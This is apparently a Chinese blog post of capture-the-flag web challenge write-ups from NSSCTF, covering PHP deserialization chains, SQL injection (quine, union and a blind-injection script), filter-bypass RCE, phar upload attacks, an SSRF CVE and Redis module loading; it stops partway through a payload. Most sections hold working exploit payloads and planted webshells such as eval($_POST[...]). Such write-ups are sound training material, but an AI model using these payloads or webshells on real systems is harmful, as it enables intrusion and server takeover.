目录

  1. 1. 前言
  2. 2. [UUCTF 2022 新生赛]websign
  3. 3. [HUBUCTF 2022 新生赛]checkin
  4. 4. [NSSCTF 2022 Spring Recruit]babyphp
  5. 5. [GKCTF 2020]cve版签到
  6. 6. [UUCTF 2022 新生赛]ez_rce
  7. 7. [羊城杯 2020]easycon
  8. 8. [SWPUCTF 2022 新生赛]ez_ez_php(revenge)
  9. 9. [GKCTF 2021]easycms
  10. 10. [第五空间 2021]pklovecloud
  11. 11. [第五空间 2021]yet_another_mysql_injection
    1. 11.1. 非预期1
    2. 11.2. 非预期2
  12. 12. [天翼杯 2021]esay_eval
    1. 12.1. 打Redis主从复制
    2. 12.2. 蚁剑disable_function插件打穿
  13. 13. [SWPUCTF 2022 新生赛]numgame
  14. 14. [SWPUCTF 2022 新生赛]ez_ez_unserialize
  15. 15. [HUBUCTF 2022 新生赛]HowToGetShell
  16. 16. [SWPUCTF 2022 新生赛]xff
  17. 17. [NSSRound#4 SWPU]1zweb
  18. 18. [SWPUCTF 2022 新生赛]ez_sql
  19. 19. [SWPUCTF 2021 新生赛]hardrce_3
  20. 20. [NSSRound#8 Basic]MyDoor
  21. 21. [NCTF 2018]flask真香
  22. 22. [SWPUCTF 2022 新生赛]webdog1__start
  23. 23. prize_p5
    1. 23.1. 非预期
  24. 24. [SWPUCTF 2022 新生赛]funny_php
  25. 25. [NCTF 2018]滴!晨跑打卡
  26. 26. [BJDCTF 2020]ZJCTF,不过如此
  27. 27. [鹏城杯 2022]简单的php
  28. 28. [GXYCTF 2019]BabySqli
  29. 29. [安洵杯 2020]Normal SSTI
  30. 30. [UUCTF 2022 新生赛]ez_upload
  31. 31. [极客大挑战 2020]welcome
  32. 32. [NSSRound#4 SWPU]ez_rce
  33. 33. [SWPUCTF 2022 新生赛]ez_1zpop
  34. 34. [HZNUCTF 2023 preliminary]flask
  35. 35. [UUCTF 2022 新生赛]ez_unser
  36. 36. [NCTF 2019]Fake XML cookbook
  37. 37. [SWPUCTF 2022 新生赛]Ez_upload
  38. 38. [NSSRound#8 Basic]MyPage
    1. 38.1. 方法1:伪协议配合多级符号链接
    2. 38.2. 方法2:pearcmd
    3. 38.3. 方法3:session.upload_progress与Session文件包含
  39. 39. [SWPUCTF 2021 新生赛]babyunser
  40. 40. [GXYCTF 2019]禁止套娃
  41. 41. [SWPUCTF 2022 新生赛]funny_web
  42. 42. [WUSTCTF 2020]CV Maker
  43. 43. [NSSRound#7 Team]ec_RCE
  44. 44. [GFCTF 2021]Baby_Web
    1. 44.1. array_merge函数
    2. 44.2. 代码审计部分
  45. 45. [HZNUCTF 2023 preliminary]ppppop
  46. 46. [HZNUCTF 2023 preliminary]guessguessguess
  47. 47. [湖湘杯 2021 final]Penetratable
    1. 47.1. 二次注入
    2. 47.2. 任意文件下载
    3. 47.3. sed提权

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NSSCTF web 刷题记录1

2023/10/16 Web 刷题 NSS
  |     |   总文章阅读量:

前言

目标是成为web糕手

追随那位卡密的脚步,征战NSS

第一步就先把web第1~10页还没做的题先解决掉,一些没出现的题可能在我对应比赛的wp里


[UUCTF 2022 新生赛]websign

f12,右键,ctrl+u都被ban了

要么设置里把js禁用了,要么就在浏览器右上角打开开发者工具即可(我这里是火狐)

flag就在html的注释里

image-20231016001744256


[HUBUCTF 2022 新生赛]checkin

弱类型比较+反序列化

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";
}
?>

注释里说包含的flag.php把$username$password的值全修改了

那下面就要利用弱类型比较,让两个参数的值都为True,于是构造反序列化字符串

exp:

<?php
$data = array(
    'username' => true,
    'password' => true
);
echo serialize($data);
// a:2:{s:8:"username";b:1;s:8:"password";b:1;}

[NSSCTF 2022 Spring Recruit]babyphp

php特性

<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
    if(isset($_POST['b1'])&&$_POST['b2']){
        if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
            if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
                echo $flag;
            }else{
                echo "yee";
            }
        }else{
            echo "nop";
        }
    }else{
        echo "go on";
    }
}else{
    echo "let's get some php";
}
?> 

数组绕过intval

数组绕过md5强比较

md5字符串弱比较

payload:

a[]=&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a

image-20231016101927662


[GKCTF 2020]cve版签到

ssrf + cve-2020-7066

响应头里有hint:Flag in localhost和tips:Host must be end with ‘123’

页面提示You just view *.ctfhub.com

image-20231016102359056

点击View CTFHub可以发现跳转url的get请求为?url=http://www.ctfhub.com

很明显存在ssrf漏洞

image-20231016102906555

同时注意到这里的回显内容是用了get_headers函数

取得服务器响应一个 HTTP 请求所发送的所有标头

demo:

<?php
$url = 'http://www.example.com';
print_r(get_headers($url));
?>
/* 返回内容类似于
Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Sat, 29 May 2004 12:28:13 GMT
    [2] => Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
    [4] => ETag: "3f80f-1b6-3e1cb03b"
    [5] => Accept-Ranges: bytes
    [6] => Content-Length: 438
    [7] => Connection: close
    [8] => Content-Type: text/html
)
*/

搜索相关的cve,可以发现CVE-2020-7066

get_headers()会截断URL中空字符%00后的内容,版本:7.2.29之前的7.2.x、7.3.16之前的7.3.x、7.4.4之前的7.4.x

题目的PHP版本是7.3.15,存在此漏洞

payload:

?url=http://127.0.0.123%00.ctfhub.com

flag就在get_headers返回的响应头里


[UUCTF 2022 新生赛]ez_rce

RCE

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
        eval($code);
    }
    else{
        die("你想干什么?????????");
    }
}
else{
    echo "居然都不输入参数,可恶!!!!!!!!!";
    show_source(__FILE__);
}

过滤了挺多东西,一开始想取反一把梭的,但是发现题目环境好像是php5,不能用取反

但是没过滤反引号,可以进行命令执行

执行发现没输出结果,在反引号外面套一层var_dump来输出

\来绕过ls的过滤,用nl读文件即可

?code=var_dump(`l\s /`);
?code=var_dump(`nl /fffffffffflagafag`);

[羊城杯 2020]easycon

进去直接访问index.php

ctrl+u查看html源码发现hint:eval post cmd

直接传参cmd=system('ls');

成功执行,读取一下index.php的源码

<?php
echo "<script>alert('eval post cmd')</script>";
eval($_POST['cmd']);
?>

没有过滤,发现同目录下有个bbbbbbbbb.txt文件

直接读取

cmd=system('cat bbbbbbbbb.txt');

得到一张图片的编码

用cyberchef解码一下得到flag

image-20231016171303363


[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

php伪协议

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

先访问一下flag.php

NSSCTF{flag_is_not_here}
real_flag_is_in_ '/flag'
换个思路,试试PHP伪协议呢

flag在/flag,那就php伪协议直接打

?file=php://filter/resource=/flag

[GKCTF 2021]easycms

蝉知7.7cms

y4爷的文章:https://blog.csdn.net/solitudi/article/details/118873773

尝试访问admin.php进入登录页面

用户名admin,密码用弱口令爆破即可得到12345

image-20231016172717059

进入后台

跟着文章的操作做即可

在设计-高级里面写马

image-20231016174430908

在设置-微信模块随便填写点东西保存

image-20231016173928290

image-20231016174107892

在原始ID这里进行输入../../../system/tmp/fbpo.txt/0,最后那个txt名称为之前修改模板提示的文件

image-20231016174917980

回到刚才的设计-高级,写马,成功保存

image-20231016175418456

访问www路由,成功执行shell

image-20231016175522917


[第五空间 2021]pklovecloud

反序列化

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

出口在ace::echo_name的file_get_contents函数

链子:acp::__construct -> acp::__toString -> ace::echo_name

这里为什么是acp:: -> acp::__toString呢,原因是最底下的反序列化代码中存在echo $logData; ,可以直接触发__toString魔术方法

然后在__construct方法中会先指定cinder属性的值,为了指向下一个要执行的类,我们需要修改为$this->cinder = new ace;

注意$cinder是protect属性,要url编码%00

接下来到ace::echo_name,要实现文件读取就得先满足$this->openstack->neutron === $this->openstack->nova

openstack属性又被赋值为unserialize($this->docker),接着下面的neutron又会被赋值$this->openstack->neutron = $heat;,要绕过这个赋值,我们可以直接让openstack的值为null,因为NULL===NULL,那么我们使$this->docker =null即可(其实不赋值也可以)

也可以用指针引用的方式来绕过$a = new acp($b);$a->nova = &$a->neutron;$b->docker = serialize($a);

exp:

<?php
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
        $this->cinder = new ace;
    }
}
class ace
{
    public $filename="flag.php";
    public $openstack;
    public $docker;
}

$a = new acp();
echo urlencode(serialize($a));

ctrl+u读到flag.php

<?php
$heat="asdasdasdasd53asd3a1sd3a1sd3asd";
$flag="flag in /nssctfasdasdflag";

目录穿越读根目录得到flagpublic $filename="../../../../nssctfasdasdflag";

非预期:phpinfo文件没删,直接访问


[第五空间 2021]yet_another_mysql_injection

quine注入 / 扫描后台 / 盲注

这题好像有三种解法

先f12发现hint:/?source

那么传参/?source,得到源码

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>
<!-- /?source -->
<html>
    <body>
        <form action="/index.php" method="post">
            <input type="text" name="username" placeholder="账号"><br/>
            <input type="password" name="password" placeholder="密码"><br/>
            <input type="submit" / value="登录">
        </form>
    </body>
</html> 

只要查询数据库password的返回结果等于$password就能回显flag

先用预期解做,quine注入:https://c1oudfl0w0.github.io/blog/2023/03/16/sql%E6%B3%A8%E5%85%A5/#quine%E6%B3%A8%E5%85%A5

过滤了空格,用/**/代替,过滤了;,用#代替

构造自产生语句

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

这样就能得到flag

非预期1

扫描后台目录

image-20231017221547510

发现phpmyadmin路由

访问,以用户名admin和弱密码admin进入后台

直接查到正确的密码,也可以loadfile写马getshell

image-20231017221852424

非预期2

盲注得到密码,脚本 by debug0032

import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
    url = "http://1.14.71.254:28610/index.php"
    flag = ""
    while True:
        for i in alp:
            data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
            resp = requests.post(url=url,data=data)
            time.sleep(0.1)
            if "something wrong" not in resp.text:
                flag+=i
                print(flag)
                break
            elif "~" in i:
                return
get_pass()

[天翼杯 2021]esay_eval

反序列化+打redis/蚁剑绕过disable_function

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

链子很简单:B::__destruct -> A::__call

要给code赋值的话首先需要绕过wakeup

PHP版本7.4.23,而这里的正则匹配规则是匹配A类和B类名字后面的数目,要求必须为1

这里要利用php对类名大小写不敏感的特性去绕过

exp:

<?php
class A{
    public $code = "";

}
class B{
}

$a=new B;
$a->a=new A;
$a->a->code="phpinfo();";

echo serialize($a);
# O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}

把payload改为O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}

比较奇怪的是这个绕过方法是CVE-2016-7124,但是版本限制是PHP7 < 7.0.10,这里为什么能执行我暂且蒙在鼓里

image-20231017224450772

在phpinfo里的disable_functions发现禁用了大量的命令执行函数,rce很难

总之先写个马连上蚁剑看看

http://node4.anna.nssctf.cn:28820/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:20:"eval($_POST["cmd"]);";}}

连接密码cmd

连上之后会发现其它目录不可访问,因为设置了open_basedir,即PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,而php 5.3后少有绕过的方法

查看open_basedir支持的目录

image-20231017225156890

发现可访问/tmp

打Redis主从复制

在当前目录下发现config.php.swp,即vim的泄露文件,

vim -r config.php.swp可以恢复

image-20231017231003455

可以发现Redis服务的密码,数据库名、密码、用户名和主机名,那么应该是要连接Redis

参考ph0ebus的博客:https://ph0ebus.cn/post/%5B%E5%A4%A9%E7%BF%BC%E6%9D%AF%202021%5Desay_eval.html

Redis的主从复制:Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机(master),其他实例都作为备份机(slave),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

Redis模块:在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码: https://github.com/Dliv3/redis-rogue-server

利用原理:在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生。

上传exp.so文件

蚁剑插件连接redis数据库

利用module load 命令加载这个文件,然后才能进行RCE,所以在虚拟命令行输入

MODULE LOAD /var/www/html/exp.so

然后就能命令执行

蚁剑disable_function插件打穿

插件市场里下个disable_function插件

image-20231017232023926

最后两个选项选一个就能梭了,直接命令执行

image-20231017231727983


[SWPUCTF 2022 新生赛]numgame

进入,f12,右键,开发者工具发现看不了页面html源码,那就禁用JavaScript

然后f12,发现存在一个./js/1.js的路由,访问

var input = $('input'),
    input_val = parseInt(input.val()),
    btn_add = $('.add'),
    btn_remove = $('.remove');

input.keyup(function() {
    input_val = parseInt(input.val())
});

btn_add.click(function(e) {
    input_val++;
    input.val(input_val);
    console.log(input_val);
    if(input_val==18){
        input_val=-20;
        input.val(-20);

    }
});

btn_remove.click(function(e) {
    input_val--;
    input.val(input_val);
});
// NSSCTF{TnNTY1RmLnBocA==}

base64解码得到NsScTf.php

访问/NsScTf.php

 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
} 

对于hint: 与get相似的另一种请求协议是什么呢,这里的意思应该是不要用get请求传参p而是用post请求传参

访问hint2.php,回显有没有一种可能,类是nss2

那就传nss2::ctf,这样call_user_func可以调用这个方法

image-20231018000527379

f12,flag在页面注释里


[SWPUCTF 2022 新生赛]ez_ez_unserialize

反序列化绕过wakeup

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

PHP版本5.5.38

链子:X::__construct -> X::__destruct

wakeup就用CVE-2016-7124绕过

exp:

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
}

$a=new X("fllllllag.php");
echo serialize($a);
// O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

payload:

O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

[HUBUCTF 2022 新生赛]HowToGetShell

无字母RCE

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);

过滤了字母

PHP/5.5.9-1ubuntu4.29,不能用取反,很奇怪的是这题居然能用异或,然后动态执行函数即可

异或payload:phpinfo里面可以找到flag

mess=$_="%10%08%10%09%0e%06%0f"^"%60%60%60%60%60%60%60";$_();

至于自增,不知道为什么我之前存的payload失效了,总之构造完参数带外写马即可

自增payload:

mess=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
&_=file_put_contents('1.php','<?php @eval($_POST["shell"]); ?>')

[SWPUCTF 2022 新生赛]xff

http

  1. Must be accessed from Xiaohong’s own computer.

    就是xff头设置为127.0.0.1

  2. Must be jump from Home Page.

    就是设置Referer为Home Page

    image-20231019091713649


[NSSRound#4 SWPU]1zweb

phar反序列化文件上传+绕过stub限制

进入题目,发现一个查询文件的框和一个上传文件的按钮

非预期:直接查询/flag得到flag

我们先查询index.php

<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}

文件上传的upload.php

<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

显然这题会用到phar反序列化,出口在__destruct的eval,那么就要绕过wakeup,php版本5.5.38,有cve-2016-7124

接下来是文件上传的部分

  • 后缀检测:php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的,可以直接修改为其他后缀
  • 内容检测:将phar文件使用 gzip 命令进行压缩,可以看到压缩之后的文件中就没有了__HALT_COMPILER()

exp:

注:php.ini开启phar.readonly = Off

<?php
class LoveNss
{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct()
    {
        $this->ljt = "Misc";
        $this->dky = "Re";
        $this->cmd = 'system($_POST[1]);';
    }
}
$a = new LoveNss();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub
$phar->setMetadata($a); // 将自定义的meta-data存入manifest,setMetadata()会将对象进行序列化
$phar->addFromString("test.txt", "test");
$phar->stopBuffering(); // 签名自动运算
rename("phar.phar", "phar.png");    // 重命名

// 生成后需要丢入010editor进行修改属性数量,绕过wakeup()函数

修改属性数量为4

image-20231019214554353

注意:010Editor打开phar文件修改序列化字符串的成员个数,由于phar文件带有签名校验,需要把签名部分也改了,否则会报错。这里要用到gzip

gzip压缩:

from hashlib import sha1
import gzip

with open('phar.png', 'rb') as file:
    f = file.read()
s = f[:-28]  # 获取要签名的数据
h = f[-8:]  # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h  # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("3.png", "wb")
f_gzip.write(new_file)
f_gzip.close()

然后上传3.png

接下来用phar伪协议读文件命令执行即可

file=phar://upload/3.png&1=cat /flag

[SWPUCTF 2022 新生赛]ez_sql

让我们get传参nss,随便填个1,发现给了两个假的flag

然后拿万能密码试一下

image-20231019220159272

存在sql注入

测试一下发现空格,--,union,or会被替换掉,其中union可以双写绕过

因为会回显两列,我们这里用联合查询要查1,2列,前面填0闭合使其不回显

爆数据库名

nss=0'uniunionon/**/select/**/1,2,(select/**/database())#

得到数据库名NSS_db

爆表名,注意or会被替换掉要双写

nss=0'uniunionon/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema="NSS_db")#

得到表名NSS_tb,users

爆列名

nss=0'uniunionon/**/select/**/1,2,(select/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name="NSS_tb")#

得到列名id,Secr3t,flll444g

爆字段(哼,想骗我,不要紧,两个我都一样的查啊

nss=0'uniunionon/**/select/**/1,2,(select/**/group_concat(Secr3t,'|',flll444g)/**/from/**/NSS_tb)#

image-20231019221622738


[SWPUCTF 2021 新生赛]hardrce_3

自增rce+绕过disable_functions

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\^','\~','\|'];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
    }}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
    die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?>

不让用字母数字,还不让用自增异或,那就用自增,payload用上面HowToGetShell的就行

?wllm=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__